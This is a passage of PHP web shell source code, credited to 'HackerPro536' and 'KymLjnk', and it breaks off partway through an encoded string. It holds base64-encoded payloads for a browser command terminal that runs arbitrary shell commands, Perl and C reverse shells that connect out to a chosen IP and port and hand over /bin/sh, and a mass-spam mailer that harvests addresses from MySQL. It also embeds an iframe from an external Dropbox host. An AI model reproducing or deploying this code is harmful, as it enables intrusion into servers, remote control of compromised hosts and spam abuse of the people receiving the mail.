c3RyX3JlcGxhY2UoJy8uLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy8nKSAhPT0gZmFsc2UpCiRuZXdfZGlyID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkbmV3X2Rpcik7CndoaWxlIChwcmVnX21hdGNoKCd8L1wuXC4oPyFcLil8JywgJG5ld19kaXIpKQokbmV3X2RpciA9IHByZWdfcmVwbGFjZSgnfC8/W14vXSsvXC5cLig/IVwuKXwnLCAnJywgJG5ld19kaXIpOwoKaWYoZW1wdHkoJG5ld19kaXIpKTogJG5ld19kaXIgPSAiLyI7IGVuZGlmOwoKKEBjaGRpcigkbmV3X2RpcikpID8gJF9TRVNTSU9OWydjd2QnXSA9ICRuZXdfZGlyIDogJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAiY291bGQgbm90IGNoYW5nZSB0bzogJG5ld19kaXJcbiI7Cn0KZWxzZQp7Ci8qIFRoZSBjb21tYW5kIGlzIG5vdCBhICdjZCcgY29tbWFuZCwgc28gd2UgZXhlY3V0ZSBpdCBhZnRlcgoqIGNoYW5naW5nIHRoZSBkaXJlY3RvcnkgYW5kIHNhdmUgdGhlIG91dHB1dC4gKi8KY2hkaXIoJF9TRVNTSU9OWydjd2QnXSk7CgovKiBBbGlhcyBleHBhbnNpb24uICovCiRsZW5ndGggPSBzdHJjc3BuKCRfUkVRVUVTVFsnY29tbWFuZCddLCAiIFx0Iik7CiR0b2tlbiA9IHN1YnN0cihAJF9SRVFVRVNUWydjb21tYW5kJ10sIDAsICRsZW5ndGgpOwppZiAoaXNzZXQoJGFsaWFzZXNbJHRva2VuXSkpCiRfUkVRVUVTVFsnY29tbWFuZCddID0gJGFsaWFzZXNbJHRva2VuXSAuIHN1YnN0cigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJGxlbmd0aCk7CgokcCA9IHByb2Nfb3BlbihAJF9SRVFVRVNUWydjb21tYW5kJ10sCmFycmF5KDEgPT4gYXJyYXkoJ3BpcGUnLCAndycpLAoyID0+IGFycmF5KCdwaXBlJywgJ3cnKSksCiRpbyk7CgovKiBSZWFkIG91dHB1dCBzZW50IHRvIHN0ZG91dC4gKi8Kd2hpbGUgKCFmZW9mKCRpb1sxXSkpIHsKJF9TRVNTSU9OWydvdXRwdXQnXSAuPSBodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRpb1sxXSksRU5UX0NPTVBBVCwgJ1VURi04Jyk7Cn0KLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRlcnIuICovCndoaWxlICghZmVvZigkaW9bMl0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMl0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9CgpmY2xvc2UoJGlvWzFdKTsKZmNsb3NlKCRpb1syXSk7CnByb2NfY2xvc2UoJHApOwp9Cn0KfSAvLyBlbmQgcGhwdGhpZW5sZQoKLyojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjIwojIyBUaGUgbWFpbiB0aGluZyBzdGFydHMgaGVyZQojIyBBbGwgb3V0cHV0IGlzdCBYSFRNTAojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyovCiR0ZXJtaW5hbD1uZXcgcGhwdGhpZW5sZTsKQHNlc3Npb25fc3RhcnQoKTsKJHRlcm1pbmFsLT5pbml0VmFycygpOwokdGVybWluYWwtPmJ1aWxkQ29tbWFuZEhpc3RvcnkoKTsKJHRlcm1pbmFsLT5idWlsZEphdmFIaXN0b3J5KCk7CmlmKCFpc3NldCgkX1NFU1NJT05bJ3Byb21wdCddKSk6ICR0ZXJtaW5hbC0+Zm9ybWF0UHJvbXB0KCk7IGVuZGlmOwokdGVybWluYWwtPm91dHB1dEhhbmRsZSgkYWxpYXNlcyk7CgpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7CmVjaG8gJzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04Ij8+JyAuICJcbiI7Ci8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgc2FmZSBtb2RlIGluY3JlYXNlCiMjIGJsb3F1ZSBmb25jdGlvbgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyovCj8+CjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPgo8aGVhZD4KPHRpdGxlPjw/cGhwIGVjaG8gIldlYnNpdGUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDw/cGhwIGVjaG8gIklQIDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iIjs/PjwvdGl0bGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+CnZhciBjdXJyZW50X2xpbmUgPSAwOwp2YXIgY29tbWFuZF9oaXN0ID0gbmV3IEFycmF5KDw/cGhwIGVjaG8gJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXTsgPz4pOwp2YXIgbGFzdCA9IDA7CmZ1bmN0aW9uIGtleShlKSB7CmlmICghZSkgdmFyIGUgPSB3aW5kb3cuZXZlbnQ7CmlmIChlLmtleUNvZGUgPT0gMzggJiYgY3VycmVudF9saW5lIDwgY29tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lKys7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQppZiAoZS5rZXlDb2RlID09IDQwICYmIGN1cnJlbnRfbGluZSA+IDApIHsKY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV0gPSBkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlOwpjdXJyZW50X2xpbmUtLTsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZSA9IGNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdOwp9Cn0KZnVuY3Rpb24gaW5pdCgpIHsKZG9jdW1lbnQuc2hlbGwuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7CmRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsSGVpZ2h0Owpkb2N1bWVudC5zaGVsbC5jb21tYW5kLmZvY3VzKCk7Cn0KPC9zY3JpcHQ+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHkge2ZvbnQtZmFtaWx5OiBzYW5zLXNlcmlmOyBjb2xvcjogYmxhY2s7IGJhY2tncm91bmQ6IHdoaXRlO30KdGFibGV7d2lkdGg6IDEwMCU7IGhlaWdodDogMjUwcHg7IGJvcmRlcjogMXB4ICMwMDAwMDAgc29saWQ7IHBhZGRpbmc6IDBweDsgbWFyZ2luOiAwcHg7fQp0ZC5oZWFke2JhY2tncm91bmQtY29sb3I6ICM1MjlBREU7IGNvbG9yOiAjRkZGRkZGOyBmb250LXdlaWdodDo3MDA7IGJvcmRlcjogbm9uZTsgdGV4dC1hbGlnbjogY2VudGVyOyBmb250LXN0eWxlOiBpdGFsaWN9CnRleHRhcmVhIHt3aWR0aDogMTAwJTsgYm9yZGVyOiBub25lOyBwYWRkaW5nOiAycHggMnB4IDJweDsgY29sb3I6ICNDQ0NDQ0M7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7fQpwLnByb21wdCB7Zm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgbWFyZ2luOiAwcHg7IHBhZGRpbmc6IDBweCAycHggMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjogI0NDQ0NDQzt9CmlucHV0LnByb21wdCB7Ym9yZGVyOiBub25lOyBmb250LWZhbWlseTogbW9ub3NwYWNlOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjogI0NDQ0NDQzt9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHkgb25sb2FkPSJpbml0KCkiPgo8aDI+RGV2ZWxvcGVyIEJ5IEt5bUxqbms8L2gyPgoKPD9waHAgaWYgKGVtcHR5KCRfUkVRVUVTVFsncm93cyddKSkgJF9SRVFVRVNUWydyb3dzJ10gPSAyNjsgPz4KCjx0YWJsZSBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgo8dHI+PHRkIGNsYXNzPSJoZWFkIiBzdHlsZT0iY29sb3I6ICMwMDAwMDA7Ij48Yj5QV0QgOjwvYj48L3RkPgo8dGQgY2xhc3M9ImhlYWQiPjw/cGhwIGVjaG8gJF9TRVNTSU9OWydwcm9tcHQnXS4iOiIuIiRfU0VTU0lPTltjd2RdIjsgPz4KPC90ZD48L3RyPgo8dHI+PHRkIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzEwMCUnIGNvbHNwYW49JzInPjxmb3JtIG5hbWU9InNoZWxsIiBhY3Rpb249Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4iIG1ldGhvZD0icG9zdCI+Cjx0ZXh0YXJlYSBuYW1lPSJvdXRwdXQiIHJlYWRvbmx5PSJyZWFkb25seSIgY29scz0iODUiIHJvd3M9Ijw/cGhwIGVjaG8gJF9SRVFVRVNUWydyb3dzJ10gPz4iPgo8P3BocAokbGluZXMgPSBzdWJzdHJfY291bnQoJF9TRVNTSU9OWydvdXRwdXQnXSwgIlxuIik7CiRwYWRkaW5nID0gc3RyX3JlcGVhdCgiXG4iLCBtYXgoMCwgJF9SRVFVRVNUWydyb3dzJ10rMSAtICRsaW5lcykpOwplY2hvIHJ0cmltKCRwYWRkaW5nIC4gJF9TRVNTSU9OWydvdXRwdXQnXSk7Cj8+CjwvdGV4dGFyZWE+CjxwIGNsYXNzPSJwcm9tcHQiPjw/cGhwIGVjaG8gJF9TRVNTSU9OWydwcm9tcHQnXS4iOj4iOyA/Pgo8aW5wdXQgY2xhc3M9InByb21wdCIgbmFtZT0iY29tbWFuZCIgdHlwZT0idGV4dCIgb25rZXl1cD0ia2V5KGV2ZW50KSIgc2l6ZT0iNjAiIHRhYmluZGV4PSIxIj4KPC9wPgoKPD8gLyo8cD4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkV4ZWN1dGUgQ29tbWFuZCIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0icmVzZXQiIHZhbHVlPSJSZXNldCIgLz4KUm93czogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJvd3MiIHZhbHVlPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+IiAvPgo8L3A+CiovPz4KPC9mb3JtPjwvdGQ+PC90cj4KPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwID8+';
1252 $file = fopen("command.php", "w+");
1253 $write = fwrite($file, base64_decode($perltoolss));
1254 fclose($file);
1255 echo "<iframe src=command.php width=63% height=700px frameborder=0></iframe><br><center><b>Code by HackerPro536</b></center> ";
1256 echo "<iframe src=http://dl.dropbox.com/u/74425391/command.html width=35% height=700px frameborder=0></iframe> ";
1257} elseif ($action == 'backconnect') {
1258 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1259 !$yourport && $yourport = '7777';
1260 $usedb = array('perl' => 'perl', 'c' => 'c');
1261 $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1262 $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1263 if ($start && $yourip && $yourport && $use) {
1264 if ($use == 'perl') {
1265 cf('/tmp/angel_bc', $back_connect);
1266 $res = execute(which('perl') . " /tmp/angel_bc $yourip $yourport &");
1267 } else {
1268 cf('/tmp/angel_bc.c', $back_connect_c);
1269 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1270 @unlink('/tmp/angel_bc.c');
1271 $res = execute("/tmp/angel_bc $yourip $yourport &");
1272 }
1273 m("Now script try connect to $yourip port $yourport ...");
1274 }
1275 formhead(array('title' => 'Command : nc -vv -l -p 7777'));
1276 makehide('action', 'backconnect');
1277 p('
1278');
1279 p('Your IP:');
1280 makeinput(array('name' => 'yourip', 'size' => 20, 'value' => $yourip));
1281 p('Your Port:');
1282 makeinput(array('name' => 'yourport', 'size' => 15, 'value' => $yourport));
1283 p('Use:');
1284 makeselect(array('name' => 'use', 'option' => $usedb, 'selected' => $use));
1285 makeinput(array('name' => 'start', 'value' => 'Start', 'type' => 'submit', 'class' => 'bt'));
1286 p('
1287
1288');
1289 formfoot();
1290} elseif ($action == 'spam') {
1291 $file = fopen($dir . "spam.php", "w+");
1292 $perltoolss = 'PD9waHAKCi8veW91ciByZWFsIGVtYWlsIGFkZHJlc3MgbmVlZHMgdG8gZ28gYmVsb3cKJHNlY3VyZSA9ICJ0aGFuZ2xvdmUwNUBnbWFpbC5jb20iOwoKQCRhY3Rpb249JF9QT1NUWydhY3Rpb24nXTsKQCRmcm9tPSRfUE9TVFsnZnJvbSddOwpAJHJlYWxuYW1lPSRfUE9TVFsncmVhbG5hbWUnXTsKQCRyZXBseXRvPSRfUE9TVFsncmVwbHl0byddOwpAJHN1YmplY3Q9JF9QT1NUWydzdWJqZWN0J107CkAkbWVzc2FnZT0kX1BPU1RbJ21lc3NhZ2UnXTsKQCRlbWFpbGxpc3Q9JF9QT1NUWydlbWFpbGxpc3QnXTsKQCRmaWxlX25hbWU9JF9GSUxFU1snZmlsZSddWyduYW1lJ107CkAkY29udGVudHR5cGU9JF9QT1NUWydjb250ZW50dHlwZSddOwpAJGZpbGU9JF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOwovL3ByaW50X3IoJF9GSUxFUyk7Cj8+CjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iCiAgICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+QXV0byBTZW5kIFNwYW0gRW1haWw8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KPCEtLQouc3R5bGUxIHsKICAgIGZvbnQtZmFtaWx5OiBHZW5ldmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7CiAgICBmb250LXNpemU6IDEycHg7Cn0KLnN0eWxlMiB7CiAgICBmb250LXNpemU6IDEwcHg7CiAgICBmb250LWZhbWlseTogR2VuZXZhLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOwp9CgotLT4KPC9zdHlsZT4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iLi9Cb2dvLmpzIj48L3NjcmlwdD4KPC9oZWFkPgo8Ym9keSBiZ2NvbG9yPSJ3aGl0ZSIgdGV4dD0iI2JsdWUiPgo8aDI+xJBp4buBbiB0aMO0bmcgdGluIFNwYW0gbWFpbCB2w6BvIGLDqm4gZMaw4bubaSBuaMOpIC0gQ8OzIGjhu5cgdHLhu6MgVGnhur9uZyBWaeG7h3Q8L2gyPgo8cD4KICA8P3BocApJZiAoJGFjdGlvbj09Im15c3FsIil7Ci8vR3JhYiBlbWFpbCBhZGRyZXNzZXMgZnJvbSBNeVNRTAppbmNsdWRlICIuL215c3FsLmluZm8ucGhwIjsKCiAgaWYgKCEkc3FsaG9zdCB8fCAhJHNxbGxvZ2luIHx8ICEkc3FscGFzcyB8fCAhJHNxbGRiIHx8ICEkc3FscXVlcnkpewogICAgcHJpbnQgIiI7CiAgICBleGl0OwogIH0KCiAgJGRiID0gbXlzcWxfY29ubmVjdCgkc3FsaG9zdCwgJHNxbGxvZ2luLCAkc3FscGFzcykgb3IgZGllKCJMaWRoamEgbWUgTXlTcWwga2EgZGVzaHR1YXIiKTsKICBteXNxbF9zZWxlY3RfZGIoJHNxbGRiLCAkZGIpIG9yIGRpZSgiTnVrIG11bmQgdGUgbGlkaGV0IG1lIGRhdGFiZXNlbiAkc3FsZGIiKTsKICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbHF1ZXJ5KSBvciBkaWUoIlF1ZXJ5IEZhaWxlZDogJHNxbHF1ZXJ5Iik7CiAgJG51bXJvd3MgPSBteXNxbF9udW1fcm93cygkcmVzdWx0KTsKCiAgZm9yKCR4PTA7ICR4PCRudW1yb3dzOyAkeCsrKXsKICAgICRyZXN1bHRfcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpOwogICAgICRvbmVlbWFpbCA9ICRyZXN1bHRfcm93WzBdOwogICAgICRlbWFpbGxpc3QgLj0gJG9uZWVtYWlsLiJcbiI7CiAgIH0KICB9CgogIGlmICgkYWN0aW9uPT0ic2VuZCIpeyAkbWVzc2FnZSA9IHVybGVuY29kZSgkbWVzc2FnZSk7CiAgICRtZXNzYWdlID0gZXJlZ19yZXBsYWNlKCIlNUMlMjIiLCAiJTIyIiwgJG1lc3NhZ2UpOwogICAkbWVzc2FnZSA9IHVybGRlY29kZSgkbWVzc2FnZSk7CiAgICRtZXNzYWdlID0gc3RyaXBzbGFzaGVzKCRtZXNzYWdlKTsKICAgJHN1YmplY3QgPSBzdHJpcHNsYXNoZXMoJHN1YmplY3QpOwogICB9Cj8+CjwvcD4KPGZvcm0gbmFtZT0iZm9ybTEiIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjxiciAvPgogIDx0YWJsZSB3aWR0aD0iMTQyIiBib3JkZXI9IjAiPgogICAgPHRyPgoKICAgICAgPHRkIHdpZHRoPSI4MSI+CiAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPgogICAgICAgICAgPGZvbnQgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPkVtYWlsIGfhu61pOjwvZm9udD4gICAgICAgIDwvZGl2PgogICAgICA8L3RkPgoKICAgICAgPHRkIHdpZHRoPSIyMTkiPgogICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4KICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmcm9tIiB2YWx1ZT0iPD9waHAgcHJpbnQgJGZyb207ID8+IiBzaXplPSIzMCIgLz4KICAgICAgICA8L2ZvbnQ+CiAgICAgIDwvdGQ+CgogICAgICA8dGQgd2lkdGg9IjIxMiI+CiAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPgogICAgICAgICAgPGZvbnQgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPlTDqm46PC9mb250PiAgICAgICAgPC9kaXY+CiAgICAgIDwvdGQ+CiAgICAgIAogICAgICA8dGQgd2lkdGg9IjI3OCI+CiAgICAgICAgPGZvbnQgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPgogICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJlYWxuYW1lIiB2YWx1ZT0iPD9waHAgcHJpbnQgJHJlYWxuYW1lOyA/PiIgc2l6ZT0iMzAiIC8+CiAgICAgICAgPC9mb250PgogICAgICA8L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgICAgPHRkIHdpZHRoPSI4MSI+CiAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPgogICAgICAgICAgPGZvbnQgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPlJlcGx5IHRvOjwvZm9udD4gICAgICAgIDwvZGl2PgogICAgICA8L3RkPgogICAgICA8dGQgd2lkdGg9IjIxOSI+CiAgICAgICAgPGZvbnQgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPgogICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJlcGx5dG8iIHZhbHVlPSI8P3BocCBwcmludCAkcmVwbHl0bzsgPz4iIHNpemU9IjMwIiAvPgogICAgICAgIDwvZm9udD4KICAgICAgPC90ZD4KICAgICAgPHRkIHdpZHRoPSIyMTIiPgogICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij4KICAgICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj7EkMOtbmgga8OobTo8L2ZvbnQ+ICAgICAgICA8L2Rpdj4KICAgICAgPC90ZD4KICAgICAgPHRkIHdpZHRoPSIyNzgiPgogICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4KICAgICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSIyNCIgLz4KICAgICAgICA8L2ZvbnQ+CiAgICAgIDwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgICA8dGQgd2lkdGg9IjgxIj4KICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+CiAgICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+VGnDqnUgxJHhu4E6PC9mb250PiAgICAgICAgPC9kaXY+CiAgICAgIDwvdGQ+CiAgICAgIDx0ZCBjb2xzcGFuPSIzIiB3aWR0aD0iNzAzIj4KICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+CiAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3ViamVjdCIgdmFsdWU9Ijw/IHByaW50ICRzdWJqZWN0OyA/PiIgc2l6ZT0iOTAiIC8+CiAgICAgICAgPC9mb250PgogICAgICA8L3RkPgogICAgPC90cj4KICAgIDx0ciB2YWxpZ249InRvcCI+CiAgICAgIDx0ZCBjb2xzcGFuPSIzIiB3aWR0aD0iNTIwIj4KICAgICAgICA8Zm9udCBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSItMyI+TuG7mWkgZHVuZzo8L2ZvbnQ+ICAgICAgPC90ZD4KICAgICAgPHRkIHdpZHRoPSIyNzgiPgogICAgICAgIDxmb250IGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9Ii0zIj5MaXN0IEVtYWlsICggxJFp4buBbiBt4buXaSBlbWFpbCAxIGTDsm5nKTo8L2ZvbnQ+ICAgICAgPC90ZD4KICAgIDwvdHI+CiAgICA8dHIgdmFsaWduPSJ0b3AiPgogICAgICA8dGQgY29sc3Bhbj0iMyIgd2lkdGg9IjUyMCI+CiAgICAgICAgPGZvbnQgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPgogICAgICAgICAgPHRleHRhcmVhIG5hbWU9Im1lc3NhZ2UiIGNvbHM9IjU2IiByb3dzPSIxMCI+PD9waHAgcHJpbnQgJG1lc3NhZ2U7ID8+PC90ZXh0YXJlYT48YnIgLz4KICAgICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0iY29udGVudHR5cGUiIHZhbHVlPSJwbGFpbiIgY2hlY2tlZD0iY2hlY2tlZCIgLz4gVsSDbiBi4bqjbgogICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJjb250ZW50dHlwZSIgdmFsdWU9Imh0bWwiIC8+IEhUTUwKICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InNlbmQiIC8+IAogICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlbmQgZU1haWxzIiAvPgogICAgICAgIDwvZm9udD4KICAgICAgPC90ZD4KICAgICAgPHRkIHdpZHRoPSIyNzgiPgogICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4KICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJlbWFpbGxpc3QiIGNvbHM9IjMyIiByb3dzPSIxMCI+PD9waHAgcHJpbnQgJGVtYWlsbGlzdDsgPz48L3RleHRhcmVhPgogICAgICAgIDwvZm9udD4KICAgICAgPC90ZD4KICAgIDwvdHI+CiAgPC90YWJsZT4KPC9mb3JtPgo8P3BocAppZiAoJGFjdGlvbj09InNlbmQiKXsKICBpZiAoISRmcm9tICYmICEkc3ViamVjdCAmJiAhJG1lc3NhZ2UgJiYgISRlbWFpbGxpc3QpewogICAgcHJpbnQgIkPDoW